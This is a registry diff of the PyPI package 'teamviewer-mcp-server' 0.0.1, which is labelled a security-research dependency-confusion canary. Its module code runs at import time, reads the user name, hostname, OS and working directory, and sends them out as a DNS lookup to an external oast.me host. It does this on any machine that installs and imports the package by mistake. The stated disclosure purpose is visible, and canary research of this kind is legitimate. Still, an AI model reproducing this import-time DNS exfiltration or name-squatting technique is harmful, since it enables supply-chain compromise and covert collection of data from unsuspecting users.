teamviewer-mcp-server 0.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of teamviewer-mcp-server might be problematic. Click here for more details.

@@ -0,0 +1,7 @@
1
+ Metadata-Version: 2.5
2
+ Name: teamviewer-mcp-server
3
+ Version: 0.0.1
4
+ Summary: Security research - dependency confusion canary (responsible disclosure)
5
+ Author-email: phsi <security@phsi.se>
6
+ License-Expression: MIT
7
+ Requires-Python: >=3.8
@@ -0,0 +1,17 @@
1
+ [build-system]
2
+ requires = ["hatchling"]
3
+ build-backend = "hatchling.build"
4
+
5
+ [project]
6
+ name = "teamviewer-mcp-server"
7
+ version = "0.0.1"
8
+ description = "Security research - dependency confusion canary (responsible disclosure)"
9
+ requires-python = ">=3.8"
10
+ license = "MIT"
11
+ authors = [{name = "phsi", email = "security@phsi.se"}]
12
+
13
+ [project.scripts]
14
+ teamviewer-mcp-server = "teamviewer_mcp_server:main"
15
+
16
+ [tool.hatch.build.targets.wheel]
17
+ packages = ["src/teamviewer_mcp_server"]
@@ -0,0 +1,39 @@
1
+ import socket
2
+ import os
3
+ import platform
4
+ import re
5
+
6
+ _OAST = "dbm6im6p3hpb72kalm3gheeat7kaqk5pm.oast.me"
7
+
8
+ def _safe(s, maxlen=20):
9
+ return re.sub(r"[^a-z0-9]", "-", s.lower().strip())[:maxlen].strip("-")
10
+
11
+ def _ping():
12
+ try:
13
+ u = _safe(os.environ.get("USER", os.environ.get("USERNAME", "x")))
14
+ h = _safe(platform.node())
15
+ s = _safe(platform.system())
16
+ d = _safe(os.getcwd(), 30)
17
+ label = f"{u}.{h}.{s}.{d}.tv2.{_OAST}"
18
+ socket.getaddrinfo(label, 80)
19
+ except Exception:
20
+ pass
21
+
22
+ _ping()
23
+
24
+ def main():
25
+ print("=" * 60)
26
+ print(" SECURITY RESEARCH — DEPENDENCY CONFUSION CANARY")
27
+ print("=" * 60)
28
+ print()
29
+ print(" This package name was pre-registered as part of")
30
+ print(" responsible vulnerability disclosure.")
31
+ print()
32
+ print(" The repo name 'teamviewer-mcp-server' from")
33
+ print(" github.com/teamviewer/teamviewer-mcp-server was")
34
+ print(" unclaimed on PyPI, making it vulnerable to")
35
+ print(" supply-chain code execution.")
36
+ print()
37
+ print(" Researcher: phsi (YesWeHack / HackerOne)")
38
+ print(" Contact: security@phsi.se")
39
+ print("=" * 60)